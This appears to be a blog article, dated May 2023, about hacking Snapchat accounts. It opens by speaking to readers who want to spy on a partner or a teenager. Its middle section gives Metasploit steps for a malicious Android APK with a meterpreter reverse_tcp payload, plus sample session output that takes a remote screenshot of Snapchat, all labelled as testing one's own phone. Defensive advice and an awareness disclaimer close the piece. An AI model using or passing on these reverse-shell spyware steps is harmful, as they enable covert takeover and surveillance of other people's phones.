Dernière mise à jour: 27 mai 2023
Are you wondering if it is possible to hack a Snapchat account? Maybe you're looking to check on your partner's fidelity or monitor your teenager's activity on their smartphone. These questions may lead you to do a search on Google.
However, what you find first on the results page might surprise you. Sites promise to give you access to videos, photos, and chat logs from any Snapchat account. But what is really hiding behind these enticing promises?
How can a Snapchat account be hacked?
A program allowing direct hacking does not exist. No magic formula will allow you to hack someone's account.
However, it is important to note that no computer security can be guaranteed to be 100%. For a hacker to successfully take control of your Snapchat account, for example, they must be patient and smart. He usually uses specialized tools for this purpose.
For example, he could turn to the Kali Linux distribution, known for its range of tools for computer security analysis
Metasploit: A tool commonly used by hackers to target mobile phones
This technique involves exploiting vulnerabilities in operating systems like Android and iOS, as well as apps installed on those platforms.
Every day, new security vulnerabilities are discovered by cybersecurity researchers on Android and iOS systems. These vulnerabilities can be exploited. Thus it could allow a malicious individual to take full control of a phone or tablet.
To exploit these vulnerabilities, a hacker could theoretically create a malicious APK application and deliver it to a victim. Once the application is installed on the victim's phone, it would become technically possible for the hacker to take control of the device and access their Snapchat photos and videos.
To do this, hackers can use theMetasploit tool, available on Kali Linux.
The latter is a tool for developing and executing code that exploits vulnerabilities in a remote system. Indeed, it contains hundreds of exploitation modules and allows to exploit the vulnerabilities of various types of systems.
If you want to test the security of your phone and if you have a computer running Windows, we recommend using a virtual machine running Kali Linux. For this you can download VMware and an image of Kali Linux. Metasploit is already pre-installed on this distro. Here is how to install kali linux on windows machine using vmware.
Linux Commands to Assess Your Phone's Security
To start, we'll open the Kali Linux terminal, then we'll create the client APK (this is the app we'll be using for testing purposes).
Be sure to replace LHOST with your own IP address.
Next, we will open another terminal and launch Metasploit to configure our test APK.
use exploits/multi/handler // (this command selects the exploit handler)
set payload android/meterpreter/reverse_tcp
set lhost your_ip_address
Once the module is properly configured, the next step would be to install the APK on your own phone, as a test device, to assess the vulnerability.
When the application is installed, Metasploit will show you a notification similar to this:
Then, from your computer, you can open a Meterpreter session remotely on the phone.
[*] Starting interaction with 1…
This theoretically gives you full control over your phone. For example, you might be able to take remote screenshots of theSnapchat app :
Loading extension espia… success.
meterpreter> screenshot snapchat.jpg
How to secure your Snapchat account against hacking?
As we have seen before, a malicious application created with tools like Metasploit can potentially take control of your phone. This highlights the importance of being vigilant when downloading and installing apps.
Indeed, to effectively secure your Snapchat account, it is essential to take into account the following measures:
- Avoid downloading apps from unofficial or suspicious sources.
- Make sure your Snapchat app is always up to date.
- Be sure to keep your operating system (like Android or iOS) up to date by installing the latest security updates.
- Opt for a strong and unique password for your Snapchat account.
- Be careful when clicking on links or opening attachments, even if they appear to be from trusted contacts.
- Acquire knowledge of social engineering techniques commonly used by hackers to obtain sensitive information
- Limit the sharing of personal information.
Hacking a Snapchat account is no small feat. A hacker can spend several hours trying to take control of a Snapchat account without succeeding. Indeed, if the target account is properly secured, the hacker's efforts will be in vain.
We hope that through this article, we were able to provide you with relevant information about Android and iOS app security, especially the Snapchat app. Our goal is not to promote piracy, but rather to raise awareness of the importance of digital security.
If you think your Snapchat account has been hacked, check out this article:'How to recover a hacked Snapchat account?' This will provide you with information on the steps you need to take to restore the security of your account.